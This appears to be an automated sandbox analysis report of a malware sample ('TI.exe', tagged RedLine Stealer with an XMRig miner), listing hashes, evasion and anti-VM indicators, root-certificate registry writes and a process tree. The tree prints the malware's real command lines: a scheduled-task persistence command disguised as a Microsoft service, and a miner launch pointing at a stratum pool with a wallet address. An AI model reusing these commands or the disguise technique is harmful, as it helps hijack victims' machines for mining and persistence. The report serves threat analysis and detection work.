Analysis
-
max time kernel
43s -
max time network
115s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
23-02-2021 09:57
Static task
static1
Behavioral task
behavioral1
Sample
TI.exe
Resource
win7v20201028
General
-
Target
TI.exe
-
Size
2.5MB
-
MD5
a5d3fdf55abb54ec0b632dee9d3459d4
-
SHA1
c177421eb77f0d341e5d1bd6cfbccb60e0c86a1c
-
SHA256
677618666eb31c80e9dbecb17907676d2da2a39d24f7c20785ef577239ef5e6f
-
SHA512
4faafc484d66545a3355ba4d76da6dd021b556a06ec5b15fa8b4b8a4f1161b44ffad5e654991cf658fc6bd49b458e59586155dfdf339e1150b278ff5b9a41324
Malware Config
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
Detected Stratum cryptominer command
Looks to be attempting to contact Stratum mining pool.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
XMRig Miner Payload 1 IoCs
resource yara_rule behavioral1/memory/632-32-0x000000013F320000-0x00000001404D8000-memory.dmp xmrig -
Executes dropped EXE 3 IoCs
pid Process 620 4q23ttwg.exe 1016 1pbrc0xw.exe 632 cpu.exe -
Checks BIOS information in registry 2 TTPs 6 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 1pbrc0xw.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 1pbrc0xw.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion TI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion TI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 4q23ttwg.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 4q23ttwg.exe -
Loads dropped DLL 3 IoCs
pid Process 1784 TI.exe 1784 TI.exe 1016 1pbrc0xw.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral1/memory/1784-5-0x0000000000B40000-0x0000000000B41000-memory.dmp themida behavioral1/files/0x00080000000130ed-8.dat themida behavioral1/files/0x00080000000130ed-10.dat themida behavioral1/memory/620-14-0x00000000008D0000-0x00000000008D1000-memory.dmp themida behavioral1/files/0x00090000000130f0-16.dat themida behavioral1/files/0x00090000000130f0-18.dat themida behavioral1/memory/1016-23-0x0000000000BE0000-0x0000000000BE1000-memory.dmp themida behavioral1/files/0x00090000000130f0-25.dat themida behavioral1/files/0x00030000000130f2-35.dat themida behavioral1/files/0x00030000000130f2-37.dat themida behavioral1/memory/912-41-0x00000000002F0000-0x00000000002F1000-memory.dmp themida -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA TI.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 4q23ttwg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 1pbrc0xw.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
pid Process 1784 TI.exe 620 4q23ttwg.exe 1016 1pbrc0xw.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 760 schtasks.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 TI.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e TI.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e TI.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 1pbrc0xw.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e 1pbrc0xw.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe 1016 1pbrc0xw.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 1784 TI.exe Token: SeDebugPrivilege 1016 1pbrc0xw.exe Token: SeLockMemoryPrivilege 632 cpu.exe Token: SeLockMemoryPrivilege 632 cpu.exe Token: SeDebugPrivilege 620 4q23ttwg.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 1784 wrote to memory of 620 1784 TI.exe 29 PID 1784 wrote to memory of 620 1784 TI.exe 29 PID 1784 wrote to memory of 620 1784 TI.exe 29 PID 1784 wrote to memory of 620 1784 TI.exe 29 PID 1784 wrote to memory of 1016 1784 TI.exe 30 PID 1784 wrote to memory of 1016 1784 TI.exe 30 PID 1784 wrote to memory of 1016 1784 TI.exe 30 PID 1784 wrote to memory of 1016 1784 TI.exe 30 PID 1016 wrote to memory of 760 1016 1pbrc0xw.exe 31 PID 1016 wrote to memory of 760 1016 1pbrc0xw.exe 31 PID 1016 wrote to memory of 760 1016 1pbrc0xw.exe 31 PID 1016 wrote to memory of 760 1016 1pbrc0xw.exe 31 PID 1016 wrote to memory of 632 1016 1pbrc0xw.exe 34 PID 1016 wrote to memory of 632 1016 1pbrc0xw.exe 34 PID 1016 wrote to memory of 632 1016 1pbrc0xw.exe 34 PID 1016 wrote to memory of 632 1016 1pbrc0xw.exe 34
Processes
-
C:\Users\Admin\AppData\Local\Temp\TI.exe"C:\Users\Admin\AppData\Local\Temp\TI.exe"1⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Users\Admin\AppData\Local\4q23ttwg.exe"C:\Users\Admin\AppData\Local\4q23ttwg.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:620
-
-
C:\Users\Admin\AppData\Local\1pbrc0xw.exe"C:\Users\Admin\AppData\Local\1pbrc0xw.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1016 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn "Windows Service © Microsoft Corporation" /tr "C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe" /f3⤵
- Creates scheduled task(s)
PID:760
-
-
C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exe"C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exe" -o stratum+tcp://pool.minexmr.com:4444 --algo cn/r -u 42ZYH6myZTcdLqfmCpSCggN8ppdku4PK16kH8UFFyTesddFwT5ihd2QFsWS2BGnuwXWfnrtbJbr5w7dqgeBRZDJcUzia53j./ --donate-level=13⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:632
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {CB74EA49-E2CB-4D8F-BEDE-C81CA726F63F} S-1-5-21-3825035466-2522850611-591511364-1000:EIDQHRRL\Admin:Interactive:[1]1⤵PID:1312
-
C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exeC:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe2⤵PID:912
-